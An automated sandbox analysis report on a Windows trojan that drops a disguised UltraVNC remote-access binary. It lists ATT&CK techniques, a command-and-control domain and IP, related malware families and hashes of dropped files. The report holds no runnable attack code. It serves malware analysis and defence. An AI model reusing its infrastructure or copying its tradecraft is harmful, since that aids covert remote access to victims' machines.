Source: sync_browser.exe, 00000017.00000002.3170436732.0000000002B10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: RFB 003.008
Source: sync_browser.exe, 00000017.00000003.1611921485.0000000002B1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: RFB 003.008

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	121 Input Capture	2 System Time Discovery	1 Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Native API	1 Valid Accounts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Screen Capture	12 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Windows Service	1 Valid Accounts	2 Obfuscated Files or Information	Security Account Manager	1 System Service Discovery	SMB/Windows Admin Shares	121 Input Capture	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	11 Access Token Manipulation	1 Timestomp	NTDS	4 File and Directory Discovery	Distributed Component Object Model	3 Clipboard Data	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 Service Execution	1 Bootkit	11 Windows Service	1 DLL Side-Loading	LSA Secrets	26 System Information Discovery	SSH	Keylogging	2 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	22 Process Injection	231 Masquerading	Cached Domain Credentials	31 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Scheduled Task/Job	1 Valid Accounts	DCSync	1 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Virtualization/Sandbox Evasion	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Access Token Manipulation	/etc/passwd and /etc/shadow	11 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	22 Process Injection	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Bootkit	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Olz7TmvkEW.exe	3%	ReversingLabs

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\7ZipSfx.000\GIjul8.QTIrrr	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7ZipSfx.000\sdABZ4.E1924R	0%	ReversingLabs
C:\Windows\Tasks\GIjul8.QTIrrr	0%	ReversingLabs
C:\Windows\Tasks\conhost.exe	0%	ReversingLabs
C:\Windows\Tasks\sdABZ4.E1924R	0%	ReversingLabs
C:\Windows\Tasks\sync_browser.exe	0%	ReversingLabs

Name	IP	Active	Malicious	Reputation
tbdcic.info	194.190.152.201	true	false	high
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://www.uvnc.com	Olz7TmvkEW.exe, 00000000.00000003.1299009306.0000000002904000.00000004.00000020.00020000.00000000.sdmp, Olz7TmvkEW.exe, 00000000.00000003.1299366156.000000000062B000.00000004.00001000.00020000.00000000.sdmp, Olz7TmvkEW.exe, 00000000.00000003.1299009306.0000000002739000.00000004.00000020.00020000.00000000.sdmp, sync_browser.exe, 00000017.00000000.1422003832.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 0000001A.00000002.1500421713.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 0000001A.00000000.1496636673.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 0000001A.00000002.1500264641.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, GIjul8.QTIrrr.2.dr, sync_browser.exe.6.dr, GIjul8.QTIrrr.0.dr	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.12.dr	false	high
https://www.adobe.co	ReaderMessages.10.dr	false	high
http://java.sun.com/update/1.4.2/jinstall-1_4-windows-i586.cab#Version=1	Olz7TmvkEW.exe, 00000000.00000003.1299009306.0000000002739000.00000004.00000020.00020000.00000000.sdmp, sync_browser.exe, 00000017.00000000.1422003832.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 0000001A.00000000.1496636673.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 0000001A.00000002.1500264641.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, GIjul8.QTIrrr.2.dr, sync_browser.exe.6.dr, GIjul8.QTIrrr.0.dr	false	high
http://www.uvnc.comopenhttp://forum.uvnc.comnet	Olz7TmvkEW.exe, 00000000.00000003.1299009306.0000000002739000.00000004.00000020.00020000.00000000.sdmp, sync_browser.exe, 00000017.00000000.1422003832.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 0000001A.00000000.1496636673.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 0000001A.00000002.1500264641.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, GIjul8.QTIrrr.2.dr, sync_browser.exe.6.dr, GIjul8.QTIrrr.0.dr	false	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	Olz7TmvkEW.exe, 00000000.00000003.1299009306.0000000002912000.00000004.00000020.00020000.00000000.sdmp, Olz7TmvkEW.exe, 00000000.00000003.1299366156.0000000000639000.00000004.00001000.00020000.00000000.sdmp, GIjul8.QTIrrr.2.dr, sync_browser.exe.6.dr, GIjul8.QTIrrr.0.dr	false	high
http://java.sun.com/products/plugin/index.html#download	Olz7TmvkEW.exe, 00000000.00000003.1299009306.0000000002739000.00000004.00000020.00020000.00000000.sdmp, sync_browser.exe, 00000017.00000000.1422003832.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 0000001A.00000000.1496636673.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 0000001A.00000002.1500264641.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, GIjul8.QTIrrr.2.dr, sync_browser.exe.6.dr, GIjul8.QTIrrr.0.dr	false	high
http://forum.uvnc.com	Olz7TmvkEW.exe, 00000000.00000003.1299009306.0000000002739000.00000004.00000020.00020000.00000000.sdmp, sync_browser.exe, 00000017.00000000.1422003832.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 0000001A.00000000.1496636673.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 0000001A.00000002.1500264641.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, GIjul8.QTIrrr.2.dr, sync_browser.exe.6.dr, GIjul8.QTIrrr.0.dr	false	unknown
http://ocsp.thawte.com0	Olz7TmvkEW.exe, 00000000.00000003.1299009306.0000000002912000.00000004.00000020.00020000.00000000.sdmp, Olz7TmvkEW.exe, 00000000.00000003.1299366156.0000000000639000.00000004.00001000.00020000.00000000.sdmp, GIjul8.QTIrrr.2.dr, sync_browser.exe.6.dr, GIjul8.QTIrrr.0.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
194.190.152.201	tbdcic.info	Russian Federation		41615	RSHB-ASRU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579877
Start date and time:	2024-12-23 13:36:33 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	37
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Olz7TmvkEW.exe renamed because original name is a hash value
Original Sample Name:	cc5d2ffba999e9263c55a6cf0f0d39d3264b8a0f8683bc3c4314d4faf01f2651.exe
Detection:	MAL
Classification:	mal84.troj.spyw.evad.winEXE@56/60@4/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.218.208.137, 172.64.41.3, 162.159.61.3, 34.237.241.83, 18.213.11.84, 54.224.241.105, 50.16.47.176, 23.195.39.65, 2.19.198.27, 23.32.239.56, 184.30.20.134, 199.232.214.172, 13.107.246.63, 23.218.208.109, 4.245.163.56
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, e4578.dscb.akamaiedge.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ssl.adobe.com.edgekey.net, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, geo2.adobe.com, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: Olz7TmvkEW.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
194.190.152.201	7q551ugrWe.exe	Get hash	malicious	UltraVNC	Browse
	T8xrZb7nBL.exe	Get hash	malicious	UltraVNC	Browse
	mSRW5AfJpC.exe	Get hash	malicious	UltraVNC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
tbdcic.info	7q551ugrWe.exe	Get hash	malicious	UltraVNC	Browse	194.190.152.201
	T8xrZb7nBL.exe	Get hash	malicious	UltraVNC	Browse	194.190.152.201
	mSRW5AfJpC.exe	Get hash	malicious	UltraVNC	Browse	194.190.152.201
bg.microsoft.map.fastly.net	q8b3OisMC4.dll	Get hash	malicious	Unknown	Browse	199.232.210.172
	7q551ugrWe.exe	Get hash	malicious	UltraVNC	Browse	199.232.210.172
	T8xrZb7nBL.exe	Get hash	malicious	UltraVNC	Browse	199.232.210.172
	mSRW5AfJpC.exe	Get hash	malicious	UltraVNC	Browse	199.232.214.172
	eszstwQPwq.ps1	Get hash	malicious	LockBit ransomware, Metasploit	Browse	199.232.210.172
	0vM02qWRT9.ps1	Get hash	malicious	LockBit ransomware, Metasploit	Browse	199.232.210.172
	#U5b89#U88c5#U52a9#U624b_2.0.8.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	fiFdIrd.txt.js	Get hash	malicious	Unknown	Browse	199.232.210.172
	5XXofntDiN.exe	Get hash	malicious	LummaC	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
RSHB-ASRU	7q551ugrWe.exe	Get hash	malicious	UltraVNC	Browse	194.190.152.201
	T8xrZb7nBL.exe	Get hash	malicious	UltraVNC	Browse	194.190.152.201
	mSRW5AfJpC.exe	Get hash	malicious	UltraVNC	Browse	194.190.152.201
	Scan_Zakaz_1416-02-24_13-02-2024.jpg.lnk	Get hash	malicious	Reverse SSH	Browse	194.190.152.129
	Scan_Zayavlenie_1416-02-24_13-02-2024.jpg.lnk	Get hash	malicious	Reverse SSH	Browse	194.190.152.129
	document.jpg.lnk	Get hash	malicious	Reverse SSH	Browse	194.190.152.129
	tiago.exe	Get hash	malicious	Reverse SSH	Browse	194.190.152.129
	0EZ9Ho3Ruc.exe	Get hash	malicious	RedLine	Browse	194.190.152.148
	Paralysis Hack.exe	Get hash	malicious	zgRAT	Browse	194.190.153.137

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\7ZipSfx.000\sdABZ4.E1924R	7q551ugrWe.exe	Get hash	malicious	UltraVNC	Browse
	T8xrZb7nBL.exe	Get hash	malicious	UltraVNC	Browse
	mSRW5AfJpC.exe	Get hash	malicious	UltraVNC	Browse
C:\Users\user\AppData\Local\Temp\7ZipSfx.000\GIjul8.QTIrrr	7q551ugrWe.exe	Get hash	malicious	UltraVNC	Browse
	T8xrZb7nBL.exe	Get hash	malicious	UltraVNC	Browse
	mSRW5AfJpC.exe	Get hash	malicious	UltraVNC	Browse

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.223509277357721
Encrypted:	false
SSDEEP:	6:4gGHN+q2PcNwi2nKuAl9OmbnIFUt8d9ZZmw+d9NVkwOcNwi2nKuAl9OmbjLJ:4DovLZHAahFUt8dP/+dd54ZHAaSJ
MD5:	43AC002CEE10B8F6A540E68B6162B091
SHA1:	4E337DB1906A565620FFFFFE2E7B0DC50767C6B5
SHA-256:	203D85F211301464D4CF9EC41FF0EC9F4A2FC1E7051E649E3C896147CC8DA3F8
SHA-512:	1AC2837C551CBD881EF5827B3ED4395098345C2556B204F0D8571BBCE99C84BAD6756540A5BDDC51C20DE1BED83313C04DD35C349E58D9B3D3CDD4991DCDBC77
Malicious:	false
Preview:	2024/12/23-07:37:37.150 1cc8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/23-07:37:37.152 1cc8 Recovering log #3.2024/12/23-07:37:37.152 1cc8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.223509277357721
Encrypted:	false
SSDEEP:	6:4gGHN+q2PcNwi2nKuAl9OmbnIFUt8d9ZZmw+d9NVkwOcNwi2nKuAl9OmbjLJ:4DovLZHAahFUt8dP/+dd54ZHAaSJ
MD5:	43AC002CEE10B8F6A540E68B6162B091
SHA1:	4E337DB1906A565620FFFFFE2E7B0DC50767C6B5
SHA-256:	203D85F211301464D4CF9EC41FF0EC9F4A2FC1E7051E649E3C896147CC8DA3F8
SHA-512:	1AC2837C551CBD881EF5827B3ED4395098345C2556B204F0D8571BBCE99C84BAD6756540A5BDDC51C20DE1BED83313C04DD35C349E58D9B3D3CDD4991DCDBC77
Malicious:	false
Preview:	2024/12/23-07:37:37.150 1cc8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/23-07:37:37.152 1cc8 Recovering log #3.2024/12/23-07:37:37.152 1cc8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.162535692089053
Encrypted:	false
SSDEEP:	6:uq2PcNwi2nKuAl9Ombzo2jMGIFUt8xXZmw+wtkwOcNwi2nKuAl9Ombzo2jMmLJ:uvLZHAa8uFUt8d/+wt54ZHAa8RJ
MD5:	60D47923D892872098BE9135B8B4AD4B
SHA1:	E4836F1E63364DC29FE14DF6334534559C7E73A5
SHA-256:	C9D9878F634E13187117BAC449431BED703986998205443D3A94512AEDEDC3FD
SHA-512:	1316EFA7B625CBE975A489D0C46D95234D0DCE20B4BD5653F36D1CF68B99F250016996FC4EAFCCD8D759598CB5D0BB57CD36683591DE474F8AEAA83DBDD4C592
Malicious:	false
Preview:	2024/12/23-07:37:37.241 1df0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/23-07:37:37.242 1df0 Recovering log #3.2024/12/23-07:37:37.243 1df0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.162535692089053
Encrypted:	false
SSDEEP:	6:uq2PcNwi2nKuAl9Ombzo2jMGIFUt8xXZmw+wtkwOcNwi2nKuAl9Ombzo2jMmLJ:uvLZHAa8uFUt8d/+wt54ZHAa8RJ
MD5:	60D47923D892872098BE9135B8B4AD4B
SHA1:	E4836F1E63364DC29FE14DF6334534559C7E73A5
SHA-256:	C9D9878F634E13187117BAC449431BED703986998205443D3A94512AEDEDC3FD
SHA-512:	1316EFA7B625CBE975A489D0C46D95234D0DCE20B4BD5653F36D1CF68B99F250016996FC4EAFCCD8D759598CB5D0BB57CD36683591DE474F8AEAA83DBDD4C592
Malicious:	false
Preview:	2024/12/23-07:37:37.241 1df0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/12/23-07:37:37.242 1df0 Recovering log #3.2024/12/23-07:37:37.243 1df0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq71jEhsBdOg2H9CTTfcaq3QYiubSpDyP7E4TX:Y2sRdsqvdMH4u3QYhbSpDa7n7
MD5:	094BB3083CDB1DAC0A08BF9F0EB28C14
SHA1:	FE55EC77FC56E177E62CCE9C553182AA8399C45B
SHA-256:	0022675C014614DA106CE184F84EEE384C39F3A7BA3D2CAF4F621490B4B80652
SHA-512:	16A27F1722CB2359F9756145549F181A8C18FADFF1927AC85D2DF008AF0272A928C01E89BC6125323F4E62ECB16EB4865FA63E9A8626EE2A6F321996DA887AF0
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379517466892184","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":635266},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f37ef1f9-647d-4b6b-a142-49b04b2a47d1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq71jEhsBdOg2H9CTTfcaq3QYiubSpDyP7E4TX:Y2sRdsqvdMH4u3QYhbSpDa7n7
MD5:	094BB3083CDB1DAC0A08BF9F0EB28C14
SHA1:	FE55EC77FC56E177E62CCE9C553182AA8399C45B
SHA-256:	0022675C014614DA106CE184F84EEE384C39F3A7BA3D2CAF4F621490B4B80652
SHA-512:	16A27F1722CB2359F9756145549F181A8C18FADFF1927AC85D2DF008AF0272A928C01E89BC6125323F4E62ECB16EB4865FA63E9A8626EE2A6F321996DA887AF0
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379517466892184","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":635266},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.23628300409856
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPh3y33hc:CwNw1GHqPySfkcigoO3h28ytPh3y3Rc
MD5:	BF006230DED78736DA53AE00B6B115BB
SHA1:	6F141BF859F20081E58C20B690E895282D058614
SHA-256:	9B46592FDAE6C2BBDADD98A34CC2997B0E400EC5FA7FEA33255156696D588B92
SHA-512:	52AD27DC0C23B009959B0B39FE4DB67A51CE465C499E1879A8CD9E9EA8D5B9A451508875EDC816CB241D6BE3461D899A61C01EB52D2EDDD773F04D30BDBFF8D4
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.215436209346717
Encrypted:	false
SSDEEP:	6:6q2PcNwi2nKuAl9OmbzNMxIFUt8YZmw+37kwOcNwi2nKuAl9OmbzNMFLJ:6vLZHAa8jFUt8Y/+3754ZHAa84J
MD5:	C52B0782351F316DA9E884236EA1DA66
SHA1:	19FEFC98D10F2CA74784F9D162ADA6A8B932E495
SHA-256:	374701C8FA8B39A52FA4F3A66F8B35BA2067C988DD7420CE5C82516EC1760F51
SHA-512:	1AD74F24A56FAAF5CF3E79253A4E42AE271E325E3C4A75050889CA4E760F046073845FEB4EF1D21AF0D35461FF63C1B3429C5FB685DF7C9D6F90C4D1A26088B2
Malicious:	false
Preview:	2024/12/23-07:37:37.663 1df0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/23-07:37:37.674 1df0 Recovering log #3.2024/12/23-07:37:37.691 1df0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.215436209346717
Encrypted:	false
SSDEEP:	6:6q2PcNwi2nKuAl9OmbzNMxIFUt8YZmw+37kwOcNwi2nKuAl9OmbzNMFLJ:6vLZHAa8jFUt8Y/+3754ZHAa84J
MD5:	C52B0782351F316DA9E884236EA1DA66
SHA1:	19FEFC98D10F2CA74784F9D162ADA6A8B932E495
SHA-256:	374701C8FA8B39A52FA4F3A66F8B35BA2067C988DD7420CE5C82516EC1760F51
SHA-512:	1AD74F24A56FAAF5CF3E79253A4E42AE271E325E3C4A75050889CA4E760F046073845FEB4EF1D21AF0D35461FF63C1B3429C5FB685DF7C9D6F90C4D1A26088B2
Malicious:	false
Preview:	2024/12/23-07:37:37.663 1df0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/12/23-07:37:37.674 1df0 Recovering log #3.2024/12/23-07:37:37.691 1df0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241223123743Z-236.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 110 x -152 x 32, cbSize 66934, bits offset 54
Category:	dropped
Size (bytes):	66934
Entropy (8bit):	2.436424201832609
Encrypted:	false
SSDEEP:	384:kkjiDp0Pogvn5pgqlzaekiqtyQqdRslkdMCC/J0Xum3O5JMZ5lQnsN:kkjcp0GhekH1qv7Jis/3zN
MD5:	EDF4BC620FE407C6970CDAF5585ADE74
SHA1:	FF838C5205409B571B5FA183F69EEAAE321F9AE6
SHA-256:	9ADA9F269BC6944820567EE88B25DAF845BB152B8FA8AB2B49327371AA056234
SHA-512:	84CB20C3B5FC59B2ACA0402F262A52A1BEDCE267D29E57BE2FA16F96437C13CC60375FFD12BC71BDA2297E5C53F4FBE9747CC86119A3CBE4260D14694499F210
Malicious:	false
Preview:	BMv.......6...(...n...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.439138148953171
Encrypted:	false
